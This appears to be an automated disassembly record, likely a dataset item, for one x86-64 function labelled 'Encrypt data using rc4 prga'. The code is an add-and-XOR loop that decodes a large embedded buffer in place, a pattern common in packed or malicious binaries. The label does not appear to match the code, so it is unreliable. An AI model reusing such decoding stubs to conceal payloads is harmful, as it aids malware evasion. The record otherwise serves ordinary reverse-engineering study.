Function at 0x140003be0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
xor r9d, r9d
mov eax, 0xd27
mov r10d, 1
mov word [rsp + 8], ax
movzx edx, r9w
mov r8d, r9d
lea r11, [0x14020b6f0]
cmp r10w, dx
jne 0x140003c0a
mov edx, r9d
movzx ecx, byte [r8 + r11]
movzx eax, dx
inc r8
movzx eax, byte [rsp + rax*2 + 8]
add cl, 9
inc dx
xor al, cl
mov byte [r8 + r11 - 1], al
cmp r8, 0x1d8e00
jl 0x140003c01
repz ret